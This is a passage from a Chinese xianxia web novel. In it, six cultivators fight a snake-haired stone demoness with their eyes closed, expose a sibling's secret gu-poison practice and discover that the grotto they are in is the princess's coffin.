“咦?我的小木人呢?”顾梦真瞪大眼睛张望着,“我那么大一个小木人呢?怎么突然不见了!” “你的小木人变成小石头人了。”屠芜往前指了指,“喏,那个成色最新的。” 大伙定睛一瞅,哎呦,石皮薄薄的一层精致得嘞。 顾梦真:啊!! 曾换月:啧,露头就秒啊…… “嘘。”明易紧急给大伙传密音,“有动静。” 第219章 她们连忙屏息噤声,果真听到了窸窣的动静,像虫子,又像……屠芜:“这是蛇爬行的声音,看来过了这个转角就能看见美杜莎了。” “喂喂顾梦真,”曾换月催促道,“你快再放一个小木人过去,这次让她闭上眼睛走然后拿镜子照给我们看。” 现在不是心疼宝器被消耗的时候,顾梦真再变出一个呆头呆脑小木人来,手上拿着一面超大的镜子,就这么走了两步,然后……被倒在地上的石头人绊倒后噗噔摔到了地上。 搞什么! 顾梦真心累地鼓励道:“小木,小木,站起来!加把劲,站起来!” 明易换了个方式:“让它倒着走,自己照着镜子看身后的路。” 顾梦真:“好。” 于是小木人抱着有它躯干那么大的镜子顽强地站了起来,在六人鼓舞的视线中一步一步地往后退去。这时顾梦真又变出一面镜子来漂浮在空中,其中映出的正是小木人手中镜子一样的景况,根据顾梦真的指挥让其照出身后的情形—— 正如曾换月所说,这是一个半人半蛇的女妖,头发是粗细长短各有不同的长蛇;人模样的脸庞上却镶嵌着一双蛇的红眼睛……瞧着有些诡异但不违和。明明看起来是石头做的石雕,但她的身躯如蛇一般灵活扭动着,浑身上下唯一的色彩便是那双眼睛。 这会她正微微歪着脑袋,打量着那个行动迟缓的呆头呆脑小木人,镜面中显出她并不凶狠的迟钝神色。 真是美杜莎…… 曾换月吃惊地捂住了嘴巴,心中又可怖又感动。没想到在见到美人鱼之后还能见到美人蛇,真是不白来啊不白来。 小木人二号已经暴露在女妖的视线中,顾梦真只好让她闭上眼睛保持着缓慢又小心地后退行走,如此还能为她们照出女妖的位置,看来这个办法是可行的。那么接下来就是……让师姐用剑杀了美杜莎吗? 她想到这,正好听见屠芜问:“怎么说?” 屠莱微微眯起眼睛打量着镜子中的景况:“看不到出口在哪。” 明易道:“非必要还是不要产生冲突,目前看来她没有攻击性。” “是哦,”顾梦真也说,“如果她不是有意害人呢,只是怀璧其罪,看见她眼睛的人都得死。” “额,有这可能?”曾换月很快被说服,虽心有疑虑,但她目前还分得清古希腊神话和现实世界的区别,面前这个蛇发女妖确实和美杜莎的设定很像,但定不是同一妖,那么如果不用和她产生冲突就能过关自然是最好的…… 石映心:“让小木人继续走。” 顾梦真:“好。” 于是小木人二号继续抱着大镜子往后倒退着向前走,慢慢地接近了杵在那不动、只好奇打量着它的女妖;这两步真的离得很近了,一木头一妖之间几乎只有半个人的距离。眼看着小木人要路过女妖,当此时,她忽然有了动作—— 就见她不着急但绝对不慢地将长长的蛇尾虚虚地绕了小木人二号一圈,这木头人当即就木在那了,保持毫无声息的静止。 女妖将脸凑近小木人二号,耸动着鼻子左右嗅了嗅,似乎想闻什么但没闻到;又停在镜子前看了看,歪着脑袋打量了镜中的自己一会,仿佛看见了但没看懂。总之最后是啥也没做地就和小木人挪开了距离,一副没了兴致的模样。 顾梦真松了口气,继续操控着小木人往后走——扑通!这没用的玩意绊着还 未撤走的蛇尾又摔了一跤,怀中的镜子一下歪了方向,水灵灵地照出了贴着转角偷看的半个身影。 女妖:个个 六人:……! 明易传密音喊了一声“闭眼”,六人紧忙闭上眼睛躲回了转角后,屏息凝神地不敢出声,只使劲调动着耳力去判断女妖的动静。 窸窸窣窣。 砰。应是石头被甩开的声音。 窸窸…… 咔嚓。也许是石头被砸碎的声音。 窣窣…… 窸窸窣窣。 窸窸窣窣窸窸窣窣…… 蛇行声停在黑乎乎的眼前。石映心的眼球在薄薄的眼皮后转动了一会,脑海里传来大师兄的声音:“不要睁开。” 曾换月小心地说:“她她她是是是不是就在……” 屠莱:“显而易见。” 顾梦真:“啊,这不好见吧。” 屠莱闭着眼睛翻了个白眼。 “她怎么不动。”屠芜尽量冷静道,“糟了,我好想睁眼。” 石映心:“我也想。” “我不想!”曾换月呜呜呜,“但不知道为什么我觉得有点忍不住……” 明易其实也有些这样的冲动:“只怕我们都是受了她的影响,要不先强行关闭眼力灵识?” “不行啊,”曾换月很担忧道,“等会有什么意外怎么办?” 屠莱:“摸黑打滚。” 曾换月:“就怕死得更快!” 这时听顾梦真迟疑道:“其实我能感受到小木人二号的大致位置,不如我在前边带头走?” 又听石映心说:“我也能感应到蛇妖的动静,我断后。” 目前也没有更好的办法,一直呆在这更不行。明易只好道:“可以一试……换月梦真,你们二人将眼力灵识放我这来。”看来是非常不放心了。 二人对自己还没有对大师兄有信心,连忙照做了。 六人再次连成一串,出发前屠芜想到一个问题:“不过顾道友你如何得知小木人所在的位置是出口方向呢?方才镜子一歪我们就失去了它的动向。” 顾梦真:“不知道啊,先过去看看嘛。” 屠芜:……算了。 她们感受着女妖如有实质的视线,慢慢地贴着墙角挪到了转角处,这时明易问:“映心,她在你对面?” “嗯。” “好。”明易飞快地睁开眼,只一瞬便记住了面前石窟的大致情况,比起方才从镜子中观察,这下是看全了,于是声音也沉了下来,“没看到出口。” “啊?”顾梦真疑惑道,“那我的小木人呢,我感觉它停在哪里等我呢?” 明易微不可察地叹了口气:“它在墙前没走过去,目前还在顶墙。” 顾梦真真服了,苦笑一声道:“……唉,我想肯定有什么机关能开门。” 屠芜无奈道道:“机关要靠眼睛找。” 而现在最危险的事就是睁开眼睛。 “炸掉吧。”石映心很快想到办法,“换月有爆破符。” 屠莱冷飕飕的声音飘来:“理智上我是不同意这个莽撞的办法的。” “感性上我是同意映心的办法的,”顾梦真犹豫道,“理智上我不相信曾换月的爆破符威力……” 曾换月撅了下嘴,想反驳但确实又心虚,嘟囔道:“干嘛啊,怎么说我也已经是元婴期的符修了……” 顾梦真:“行,那你试试。” 曾换月:“不,还是算了。” 这时候她们已经在顾梦真的带领下慢慢挪到了石窟中央,石映心能感到女妖一直在不紧不慢地跟着她们,并没有表现出很明显的攻击性,反而让她觉得对方是在确定和寻找什么。 啊,好像照一照她的想法。 “我的灵蛇在附近。”屠芜忽然说,“你们小心些,别踩到了。” 屠莱闭着眼挑眉:“还活着?” 屠芜好像沉默了一下:“算是。” “算是?” “……嗯。你们等等,我现在要蹲下来……”她知会了一声,右手并没有放开曾换月的手,慢慢蹲下来后,用左手在地上摸索着找来找去。忽然感到手掌心被什么扫了一下,动作很柔软,触感很僵硬。 屠芜猛地起了鸡皮疙瘩,抿着唇没出声,小心又快速地继续摸索,终于摸到了她的灵蛇(石头版),这才松了口气,站起来道:“找到了。” 曾换月贴心地问:“是不是还有一条啊?” “……另一条已经死了。”屠芜尽量轻松道,“没事,继续走吧。” “等等。”屠莱却出声道,“小芜,给我看看。” 屠芜:“你闭着眼怎么看?” 屠莱:“我有灵识好吗。” “出去再说。” “现在出不去。” 屠芜不知为何就是不答应:“你不要节外生枝。” 屠莱不知为何就是很坚持:“给我看看。” “不给。” “拿来。” …… 停在石窟中央听她们莫名其妙吵起来的四人:OO?干嘛呀这是。 顾梦真:“你俩干嘛呀?” 屠莱:“小芜,你是不是瞒着我……” 屠芜:“没有。” 曾换月:“喂喂,别说了呗。” 女妖游过来:个个 屠莱:“我是你哥,难道听不出来你在说谎?” 屠芜:“没有就是没有。” 明易:“二位,现在不是争执的时候。” 女妖游过去:个个 屠莱:“你以为我没办法知道吗?” 屠芜:“那你瞒着我的事又少吗?” 石映心:“我能知道吗?” 女妖游过来:个个 …… 兄妹俩是挨着站的,屠莱自然知道妹妹的灵蛇放在哪,猝不及防地就伸手去夺,还知道第一步要先点屠芜的穴位将她定身。 屠芜气得出声:“屠莱!” 曾换月听到动静,连忙拉住屠芜要松开的手:“别冲动!别睁开眼!” 情况特殊,屠芜忍着怒火不敢轻举妄动,只咬牙道:“你敢毁了我的灵虫我跟你没完!” 大伙闭着眼睛都不知道屠莱到底在干嘛,心里真是好奇死了,只隐约听到有石头碎裂的声音,然后就是屠莱的冷笑:“灵虫?这明明是蛊虫!你竟敢瞒着我偷学蛊术,也不怕走火入魔!还有办法将蛊虫藏在灵蛇体内掩人耳目,真是聪明啊屠芜!” 归壹派四人:O0O! 第220章 曾换月恍然地想,难怪屠芜这么宝贝她的灵蛇呢……难道先前咬伤师姐的隐蛇中就藏着蛊虫?这是大虫包小虫啊,究竟是怎么办到的…… 屠芜自觉理亏,抿着唇不回话。 “蛊虫我先收着,回去之后我会禀报师父。”屠莱总算意识到现在不是纠缠这事的时候,正想把蛊虫收起来,却忽然感到手上一冰,似乎有什么硬硬的东西软软地舔了他的手一下? 他使劲闭住眼睛,手心的颤意传到眼睫毛,很有睁眼的冲动;但比起这个冲动,他还有更强烈的预感——糟了。 “是……” 大伙捕捉到一个卡顿的声音,猛地安静下来。 “是……你……” 不知是不是错觉,好像又冷了一些;不过比起冷,更多的是一种黏腻的触觉在她们深藏在厚衣服中的皮肤上激发了,瞬时间六人都起了鸡皮疙瘩,身不由己地战栗起来。 石映心对这感觉很陌生,但她小师妹有些熟悉——来自危险BOSS的威压。 “我靠屠莱你做了什么,”她飞快地传密音,“你惹她生气了!” 屠莱知道是自己的锅,但他也很冤枉:“我什么都没做。” 明易当机立断:“快走!” 顾梦真:“走哪去啊!” 走哪去不重要,总之是得走了,因为那女妖猝不及防一个长蛇扫尾过来,吓得几人尖叫着弹跳而起,原先拉手手一起走的队伍就这么被对方轻易地一招击溃。明易只来得及叮嘱:“躲到石头人后边不要睁眼!” 石头人?闭着眼睛哪里找石头人?就连被蛇尾击碎的漫天飞碎石都躲不过,几人防不胜防,多少都挨了几下。 顾梦真变出反弹弹防御伞来大喊道:“都来我这,我有防御伞!” 曾换月第一次当瞎子很没经验:“哪啊你在哪、哎呦!” “我在这里!”顾梦真只好持续不断地发出声音指引其他人,“过来过来——算了算了,别过来!” 喊到一半他灵光一闪,毅然决然道:“我要睁眼了!” 曾换月:“你干嘛!” 顾梦真:“我有伞挡着大半的视线,只要她不突脸就没事;更何况现在有映心和大师兄吸引她注意力,没有更好的机会了!” 也确实是个办法。 “顾梦真!”屠莱喊了一声,“我和你一起找。” 多一双眼睛是一双:“好!” 曾换月和屠芜也在混乱之中拉住了彼此的手,二人都是心下稍安,刚想说些什么,忽然又听见顾梦真情急的大叫:“映心、大师兄,你们小心啊那女妖还会流血!流出的血撒在地上都变成蛇了啊啊啊啊啊救命啊别过来!!” 他边上的屠莱把手一挥,洒出大片的粉末,作为药神谷的弟子,驱虫粉都是人手必备的。 顾梦真用伞遮住大半的视线,只看地面一小块,因此满眼都是由黑红的血液化成的蛇,密密麻麻地蛄蛹着游来,又恶心又可怖;好在屠莱洒出的驱虫粉很有效,被波及的蛇像被灼烧一般剧烈扭曲着逃窜,其它蛇也纷纷避让三尺。 屠芜闻言也拿出了自己的宝器,一朵可以防御毒虫的巨伞蘑菇。她扶着曾换月爬山了伞顶后,自己也挨着她坐好,还以防万一地又在蘑菇四周撒了一圈驱虫粉。 曾换月坐在巨伞蘑菇上,闭着眼睛还以为自己在坐沙发,还挺柔软哈。屠芜想到什么,抓住她的手道:“这巨伞蘑菇不能吃,有毒。” 曾换月把骚扰蘑菇的手收了回来往衣服上蹭了蹭:“你把我当什么人了!” “对了。”屠芜没多解释,变出一颗大药丸来塞到曾换月手中,“这是解毒丹,大部分的蛇毒都能解;有些蛇毒发作很快,以防万一你先吃一颗。” 曾换月接过来那颗很有分量的大丸子:“没水咽不下去怎么办?” 屠芜:“噎死和毒死选一个吧。” 曾换月:……呜呜呜。 花开两朵各表一枝,这边的四人在努力自保和帮忙,另一边的两位剑修正在和女妖打得火热。 不得不说,看不见之后真的很不方便;就算元婴期的二人六识足够灵敏,可以通过其他灵识来感应女妖的动静,但并不精准,只是一个模糊的影子罢了。偏偏对方不是瞎子,她们能够抵挡住对方的攻击就不错了。 甚至女妖的血会变成蛇这件事也是通过顾梦真的喊话才知道的,二人原先只是奇怪这血怎么洒在地上还能动来动去的好有活力啊……有毒吧这。 得知真相后不由得束手束脚了一些,毕竟现在是快剑添乱麻啊! 轰! 石映心躲开飞来的蛇尾,轻功跳踩在一边的石壁上,被蛇尾震飞的石块打在她身上,她没空阻挡,快步贴近了明易:“大师兄,这样下去不是办法,我们前后夹击。” “不行,”明易立刻明白了她的想法,“你分得清前后?她要是突然转头怎么办?这女妖是有意识的……” 他话音还没落干净,女妖忽然飞来一招毒液,二人只好避让,因此又被分散开来。 石映心只好传密音:“大师兄,换月说要砍美杜莎的脑袋,我们一直往她头上砍,但似乎砍断的只有她的头发蛇;而且我感觉好像砍了也会长出来,她头的影子一直很大。” 明易也叹了口气:“是,寒竹剑似乎不能轻易砍破她的皮肉,可如今也不方便使用剑招……换月说的美杜莎应不是这样的石头身。” 所以难题就在这,随便砍的话砍不进去,用剑招需要蓄力,可偏偏瞅不见对方动态,要是一招出去有了偏差……没打着是小事,怕是要添大乱。 砰! 轰! 咔嚓咔嚓噼里啪啦—— 好在她们伤了女妖的头发蛇,成功拉了她的仇恨,这会她就盯着她们不放呢,没空搭理自保四人组;剑修二人面对接连不断的攻击只好胡乱地四处躲让,别说石映心了,就连明易都有些耐心告罄。这会又感到女妖和她们僵持无法,打算去攻击自保组,明易紧忙出手再次拉仇恨。 得想个办法……他避开寒竹剑砍下后飞溅的蛇血,大脑急速转动着:到底有什么办法能打破僵局? 如今造成局势不利的原因是他和映心看不见。 如果他和映心能看见的话……打住,这个方向的办法难找;换条思路,她们现在处于下风,如果能找到女妖的弱点说不定能平衡或者制胜……可不能用眼识要怎么找? 等等。 没有弱点制造弱点不就行了? 明易福至心灵,赶忙和师妹传密音:“映心,我有办法可以一试。” 石映心的耐心已经告罄,她怕自己忍不住,已经默默地把眼识取出来放储物袋里了,这会总算能睁开眼睛,哪怕依旧什么都看不见,但自由眨眼的感觉真好啊! 听到大师兄的密音,她往大师兄的方向眨了眨眼睛:“什么办法?” 明易:“我们找个物件将女妖的头包起来。” 石映心一听,忍不住笑了:“大师兄好聪明。” “不过……”明易思酌道,“她的蛇发怕是不好对付,普通的布料可能没多久就会被咬断……” “这样啊……对了,我想到一个好东西。” “什么?” 石映心:“屠莱的衣袍。” 她们修仙人士的衣袍自然不同于普通衣服,不仅材质特殊,而且还附加了灵力屏障,可以抵御部分攻击;只是这八月的天,她们出来都没带什么厚衣服,除了体质异常怕冷的屠莱…… 于是明易也笑了:“映心好聪明。” 屠莱:……为我发声。 这样紧急的关头,他怎么可能拒绝得了,只黑着脸从储物袋中丢出一件衣袍给二人,冷飕飕道:“我就带了这一件,你们别失手。” 顾梦真隔空对他点了点:“你身上不还穿着一件吗?” “好啊,”蛊修冷笑一声,“冷死我也行。” 顾梦真笑眯眯道:“哪有这么夸张,到时候我多给你几个火桶抱着就好啦!” 屠莱不想说话,抿唇拉紧了衣领。 拿到了屠莱的衣袍,又向顾梦真拿了几条灵绳,二位剑修信心大增。先由明易吸引女妖的注意力,接着石映心从天而降趁虚而入地将衣袍往女妖头上一盖,趁她还未反应过来连忙睁开眼——咦,怎么还是看不见? 差点忘了眼识被她丢储物袋了,赶紧重新装上,眼前的世界总算清明。她和大师兄连忙合力用绳子将衣袍绑紧了,又将她挣扎要去扒拉衣袍的手用灵绳绑了好几圈……砰! 哎呀,怎么还有条不安分的蛇尾巴? 好在这时候曾换月几人都能睁眼了,六人齐心合力将蛇尾巴这样这样那样那样五花大绑起来,如此这条磨人的蛇妖终于毫无办法了。 她们也累得够呛,瘫在地上大口喘气,还不敢完全放松,提心吊胆地盯着不断鼓动的衣袍,生怕突然冒出一直头发蛇来。 “啊!”大概是感到屈辱,先前只干架不说话的女妖忽然恼怒地大叫起来,“啊啊!啊——” “她不会说人话啊。”顾梦真顺好气,擦了把汗道,“到底是人还是蛇呢?” 屠芜打量着那条因为她们绑得很丑所以显得形象变得有些滑稽的女妖,说话声儿还是没劲:“要么是蛇变人,要么是人变蛇。” 曾换月:“有啥区别呢?” 屠芜:“蛇变人是进阶成精,人变蛇是走火入魔。” “不管了,反正都是妖。”顾梦真摇摇头道,“趁她现在被我们绑着,赶紧找出口吧!” 大伙也是这么想的,于是拖拉着疲累的身体站起来,在混战后破败不堪的石窟中四处搜寻。【】 220-230 第221章 明易一边搜寻着,一边问:“对了,方才她为何会突然发起攻击?” 曾换月:“不知道啊。” 屠芜 手上一顿:“我想了想,可能是和我的蛊虫有关。” 屠莱头也不回道:“很有可能。她发疯前好像舔了我的手一下,当时我的手上还拿着蛊虫。” “什么意思?”石映心瞥了眼依旧在地上挣扎的女妖,“我们六个大活人还没有一只小虫子有存在感?” 屠芜:“不是普通小虫子,是蛊虫。我的灵蛇好像没引起她的注意力。” “嘶,这么说起来……”顾梦真若有所思道,“你们有没有觉得她先前好像一直在我们身上寻找着什么?包括我的小木人。难道就是在找我们身上有没有蛊虫?” 明易道:“可她后来发动攻击时却没有再寻蛊虫的下落,只是想杀了我们。” “也就是说,”石映心推测,“她的目标不是蛊虫,而是身带蛊虫的……人?” “螺族人……”屠芜脱口而出这三字,自己都没反应过来,“难道她要攻击的是螺族人?” “很有可能。”屠莱低沉道,“罗宝山石窟中大部分石雕都是在盘叁那时候雕成的,当时只有螺族才有蛊虫……” “哇,哇,”曾换月感叹着嘲讽道,“你们的老祖宗到底干嘛了,这女妖对你们是有多恨啊,竟然只要是螺族人就不放过。” 屠家兄妹:“不知道啊。” 四人已经不指望这对兄妹知道啥了,只忙碌地四处搜寻出口,就连在混战中侥幸存活的小木人二号也要被使唤;但大概这个指令太为难木头人了,它依旧在先前的墙前不断地走,仿佛前方真的有条路似的。 顾梦真把它掰转了个方向,它转回去;拉它到其他位置重新启动——又走到原来的地方。 “怕不是方才被伤到脑袋了。”屠芜指了指小木人额头上的一个大缺口。 “怎么会呢?”顾梦真才伤脑筋呢,“它里边没长脑子的呀。” 屠芜心想这比“伤到脑袋”更严重吧?她瞅了瞅小木人二号,又瞅了瞅顾梦真,耸了下肩走开了。 搞不懂器修。 “要么把它收起来,要么让它去看着女妖,”曾换月路过时提了一嘴,“搁这碍事呢。” “先前没出现过这个情况啊。”顾梦真叹了口气,“做一个小木人也不容易,我总得搞清楚怎么回事吧?” “这不清楚吗?”曾换月挑眉道,“它的全名叫什么?” 顾梦真莫名但回答:“呆头呆脑小木人?” 曾换月:“这就是答案啊!”然后就哈哈大笑着走开了。 虽然师妹嘲讽的是小木人,但顾梦真也感到了些羞辱,失望地叹了口气后心想随它吧,就自己找线索去了。 结果没找一会,映心又来和他告状:“二师兄,你的小木人疯了。” 顾梦真:? 他回头一看,那家伙还在那个老位置,这下是不走了,改撞墙了! “你干嘛!”他跑过去把它拉住,恨铁不成钢道,“你疯了?” 小木人瞅他一眼,也不管被他拉着的手,继续拿头去撞墙。顾梦真气急败坏道:“我是没给你造眼睛吗?这里没路……” 说到这思路一歪,心想这墙后边不会真有路吧?于是就放任小木人去哐哐撞了两下,结果声儿非常实,听起来就是好吃的西瓜……不是,听起来后头就没路。 顾梦真这下非常失望,拉过小木人就想将它回收,一抬眼看它额头上还沾着一块墙皮,真是滑稽得很,没忍住笑了一下:“这石窟做工不行啊,墙皮都能掉……咦,怎么红红的?” 他的小木人不会流血的啊。 顾梦真下意识转头往掉落墙皮的地方看去,就见那块地方上居然有红红的什么,他眯眼定睛一瞧,是半个字。 他感到心脏砰砰地跳起来,仿佛小木人在撞他的胸腔,不自觉地上手把边上的墙皮也扒拉下来,果真露出了一排红字,只见是: 【盘王元妃帝女之墓】 顾梦真目瞪口呆着,脑子还没反应过来,嘴巴已经开始喊人了:“你们快来啊,我找到线索了!” 苦苦搜寻的五人立即扔下手中的活跑去查看情况。 “盘王元妃帝女之墓……”石映心还有印象,“就是那位中了蛊师蛊虫后爱上盘瓠的公主?” 明易微微颔首道:“嗯,看来正是她。” “墓?这里是她的墓?”曾换月左右看了看,“哪里有棺材?没有啊。” “是啊,”屠芜也很奇怪,“都这么大点地方,我们六人哪里都搜遍了也没见到,而且棺材也不是小物件,怎么可能藏得那么严实呢?” 顾梦真思索道:“难道已经被人偷走了?” “不可能,”屠莱抱着火桶道,“这里的一团糟都是我们的杰作,刚进来的时候所有石像都好端端的,可见没发生过其他争执,我们大概率是第一批来到这还活着的人。” 顾梦真又思索:“那难道是有别的机关把棺材藏起来了?然后再放一只女妖在这守着公主?” “不是吧,”曾换月拉了口气道,“本来出口的机关就找不到了,又要找棺材的机关?这破地方也就这么大,怎么找都找不到,真是烦死了!我看要不就照师姐说的,直接炸了了事!” 石映心可不就喜欢这样的简单粗暴:“好。” “别开玩笑了。”屠莱的脑袋在火光的烘烤下像一个人皮灯笼,“要是这山坍塌了,谁都出不去……我想帝女的棺材一定还藏在此处……” 顾梦真再次思索,这次咽了咽口水:“那个……我说,我会不会其实公主早就被这只女妖……咳,解决了?指不定这里的某一个石头人就是公主呢?” 大伙于是又看向那只还在地上是不是蠕动一下,发出沙哑声音的女妖,心中都有“不是吧”的侥幸想法。 “不太可能。”明易合理地安慰众人,“既然是墓室,那么公主进来时应已经死去,死人看不见女妖,又如何变成石头呢?” 曾换月叹了口气:“是哦,那公主到底在哪啊?搞半天只找到一个……墓碑?还是刻在墙上的小字,真是古怪又吊人胃口……” “甚至是我的小木人二号找到的,”顾梦真拍了拍呆在边上不动弹的小木人,非常欣慰道,“我果然是绝顶聪明的器修,不可能造出没用的宝器!” ……到底是在夸谁。 “那么这位绝顶聪明的器修,”曾换月瞥他,“快找到出口吧!” 顾梦真转移压力,戳了戳小木人:“小木小木,你再加把劲!” 小木人一动不动。 “它为什么又一动不动了?”屠芜奇怪道,“方才还怎么都拉不住地要去撞墙。” 聪明绝顶的器修也搞不懂他的宝器了:“不知道啊!” …… 几人说话间,明易一边分注意力听着一边继续打量着周遭寻找线索,偶尔还要看看女妖和映心在干嘛,可谓是一心好几用了。换月她们说得不错,这地方说大不大,说小不小,构造规整封闭……重点是边上还毗邻其他石窟,不太可能需要用“爆炸”这样毁灭式手段找到出口。 那么大概率是他们想办法的切入口错了。可究竟是…… “大师兄,”有人戳了戳他,“大师兄。” 明易转头,不自觉轻轻微笑:“怎么了,映心?” 石映心用双手在空中比划了一下:“撇开这些垃圾不看,你觉得这个地方方方正正长长的像什么?” 明易微愣,顺着她的话上下左右看了看,自己觉得非常常见:“……像什么?” 石映心没回,只是又道:“我们先前在盘叁和盘瓠的棺材中也找到了【盘王元妃帝女之墓】的小字。但是现在这排字刻在墙壁上,还用墙皮覆盖了一层。” “你是说……”明易的眉心一跳,总算跟上了师妹的脑回路,“棺材其实是在……不,是我们就在帝女的棺材里?” 石映心露出睿智的笑容:“我想是的。” 明易还未回应,就听小师妹倒吸一口凉气道:“什——么——我——们——在——哪——!?” 石映心以为她真没听清呢,好心重复:“帝女的棺材里。” 曾换月两眼一翻,倒不至于晕厥,只是觉得很荒唐。她四处张望一下,发现这石窟的形状确实是长方型,而且每一面都很周正,从外头看确实很像一个棺材的形状。 她无语一笑:“敢情这个石窟就是做来给公主当墓室的?我真服了。” 顾梦真摇头叹息:“唉。不识庐山真面目,只缘身在此山中啊!” “可是……如果我们就在棺材里的话,”屠芜很快接受了这个设定,并且有了新的问题,“那么公主呢?” 屠莱冷哼一声:“哪里有什么公主,只有一条蛇妖。” 他哼完,不知为何迎来一片沉默。屠莱也猛地意识到什么,眉毛一抬,卡顿地转过头去,看向依旧在地上时不时抽动一下证明自己还活着的女妖,余光又诧异地发现所有人都在看她,嘴角一抽道:“等等,你们看她做什么?” 石映心:“你又为何看她?” 屠莱:“……有些不妙的念头。” 石映心微微颔首:“我们也一样。” “……不可能吧,哈哈。”顾梦真打哈哈道,“公主是帝喾的女儿,怎么可能是蛇妖呢?我们看的故事中也没说过这事啊;当时帝喾不还说人怎么能嫁给狗什么的,可见公主一定是人啦!” 话是这么说没错。 第222章 曾换月瞪着眼道:“但这里只有她一个活物啊!总不能是公主被她吃了?” 顾梦真摇摇头说:“不不,我还是觉得公主也许也变成石头了。” “不对,”屠芜蹙着秀眉,客观分析道,“此处是石窟,每个石窟的主人都是石雕才对;如果此处是作为公主棺材而搭建的石窟,石雕定是公主的模样。” “那你这么说……”曾换月张了张嘴,“不就坐实公主就是那只蛇妖的事了吗?” 屠芜闭上嘴巴,显然也有些郁闷了。 “喂喂,”屠莱打断几人的议论,提醒道,“现在是讨论这个的时候吗,我以为我们的重点依旧是找到出口?” 曾换月:“问题就是找不到嘛……” “石窟的出口千奇百怪,但如果是棺材的话,”石映心发言,“应该就一种打开方式吧?” 众人闻言,纷纷抬起头去:“你是说……天花板?” 不错,对应棺材板的可不就是天花板吗? 石映心和明易对视一眼,默契地用轻功飞起,一手拿剑,一手抵着天花板,施法使劲儿往上抬起—— 当然没用。不管怎么说,这上头可是一座大山啊。 “墙皮!” 二人逞强时,听到下方传来顾梦真的呐喊:“你们把墙皮剥开看看!” 她们瞬间意会了他的意思:盘瓠的棺材板下刻有他的生前故事,那么帝女的“棺材板”下是否有呢? 帝血剑和寒竹剑“铮”地出鞘,在昏暗的石窟中闪过两道凌厉剑光,两位剑修神色严肃,手持着剑就开始……削墙皮。 因为怕把线索也削掉,她们削得非常小心且起劲,一时顾不上下边的几人。 仰着脑袋瞪大眼睛看得非常认真的四人就这么眼睁睁地看着天上乍然漫天飞雪,眼泪咳嗽猝不及防地一起上阵。 “咳咳咳!” “哎呦呸呸呸!咳咳……” “咳咳咳我真服了咳咳咳……” “伞,把伞拿出来!咳咳!” …… 好在这罪没白挨,二位剑修还没削多少墙皮时就见到那些模糊的红字了,难觅的线索就在眼前,可把二人兴奋坏了,连忙加快了手上的动作,不过多久,那些密密麻麻的红字便展露在世人眼前。 不只是下面淋“石屑”的几人遭殃,石映心和明易也是一身狼狈,可不等她们澄净身子收拾心情再查看天花板的长文,却听哪里有闷闷的“轰轰”声传来?神似山体震荡的动静。 “咳咳……”屠莱抹去脸上的石屑,朝上头大喊,“你们做什么了!” 明易微微摇头:“我们什么都没做,只是很小心地削了墙皮。” 那现在是怎么回事? “咳!师姐……大师兄咳!”曾换月突然急切地招手来,“你们快下来,天花板中间有裂缝!” 二人转头一看,还真有一道如闪电般的裂缝出现了,正好将那血红一片的长文切开。石映心有些苦恼道:“本来字小就难看,裂开就更难看了……” “映心,”明易上前拉住她,“走!” 走哪去呢,回到地上还是团团打转,只好提心吊胆地观察着那裂缝的情况,听那闷闷的轰轰越来越近,仿佛下一刻这座山体就要倾塌。 大伙商量着要不要原路返回,既然裂缝的起点在这,先跑远点总没错的;但还有一个问题,就是这个疑似是公主的女妖……要打包带走吗? 明易觉得她的技能很危险,不方便带;屠家兄妹难得唱反调,说之后的一切危险都由他们负责,女妖交给他们保管…… 曾换月表示质疑:“可我看你们二人自身难保啊。” 屠莱:“我们会带回药神谷。” 顾梦真:“出得去出不去还不一定呢,要是逃跑的过程中被她挣脱了,岂不是完蛋了?” 屠芜:“我有个收纳妖怪的宝器……” 她话音未落,只听一声巨响伴着震荡而来,几人脚下的地面猛地一颤,抖得人东倒西歪,石块四处滚散。她们都被吓到,顾梦真惜命地跳起来道:“不管你们了,我们先走!”说着拉住两个师妹就要跑。 屠芜一咬牙就要去收女妖,屠莱紧跟其后;双方都各自犹豫地跑了两步,渐渐地又停了下来,纳闷至极:“奇了怪了,怎么又没动静了?” 还是一点动静都没有了,好像方才的震荡只是错觉。 “有光。”石映心冒声。 大伙闻声寻光,又循着光落下的地方抬头望去,就见天花板上裂开了一道近一人长的缝隙,转折锋利,乍一看像是雷电的印记。她们不清楚这道裂缝的成因,只见它引入了天光,仿佛在晦暗的石窟中落下一片光华阶梯。 而阶梯的前方,正是躺在地上、此时依旧有活性的蛇发女妖。 方才的震荡本让她变得焦躁,罩着她头部的厚衣袍有些被毒液腐蚀的痕迹,显然束缚不了她太久;可此时此刻,在天光的照耀之下,她渐渐平息下来,喉咙里不再发出嘶哑的吼叫,紧绷的蛇尾也缓缓松弛。 她不动了,屠家兄妹也不敢动。二人对视一眼,屠芜手上还拿着一个金铜宝器,不知该不该派上用场。 危机似乎暂时解除,明易几人也走了过来,警惕地打量着躺在地上的女妖。曾换月小小声道:“她怎么回事啊?被这光一照就……死了?” 屠芜微微摇头:“没死,还有呼吸。” 顾梦真仰着脑袋,眯起眼打量光落下的缝隙,惊奇道:“不对啊,这座山这么高,我们又是从山底进来的石窟,所以这光到底是怎么引进来的?如果真是从此处往上裂开了条缝……难道这山已经被裂开两半了?” 大伙都难以想象。屠莱冷笑一声说:“这比切豆腐还容易。” 说罢,他忽然把怀中的两个火桶递还了一个给顾梦真道:“还你一个。” 顾梦真接过火桶:“哦。” 没过一会:“这个也还给你。” “哦。” 又过一会,屠莱干脆把身上的厚衣袍脱了下来,擦了把额头上的汗水道:“怎么不冷了。” “是暖和了许多,”屠芜看向他,“可能是这光暖和。” 屠莱闻言,把手伸入光中一探:“是暖和。” 这一边,石映心心有所感伸出手去,瞅着手背在光的照耀下莹莹发亮,她并不觉得这光暖和,但灵力确实很充沛,正源源不断地从肌肤涌入她的经脉之中,她因此判断道:“这不是天光,是灵光。” “灵光?”屠莱抬眼看她,“哪里有灵力?” 石映心:OO? 屠莱:OO? “啊?不是天光吗?”依旧在琢磨这光哪来的顾梦真瞪眼道,“我就说嘛,这小裂缝怎么可能直接把山劈开了……嘶,那也就是说,这裂缝上方是有什么东西在发光吗?” 他越说越期待,眼中充满了寻宝的兴奋。 明易忽然出声:“她怎么了?” “她”指的是地上的女妖。这时在光的照耀下慢慢变得安分的蛇妖几乎已经不动弹了,宛若一个单纯的石雕;可此次此刻,它身上的石块竟然开始出现了细密的裂缝;因她上半身被衣袍照着看不出来,但露在外边的蛇尾非常明显,那些原先就精细的鳞片上仿佛被绘制上新的花纹。 石映心这时候发现,女妖的蛇尾鳞片是三角形,仿佛在哪见过。 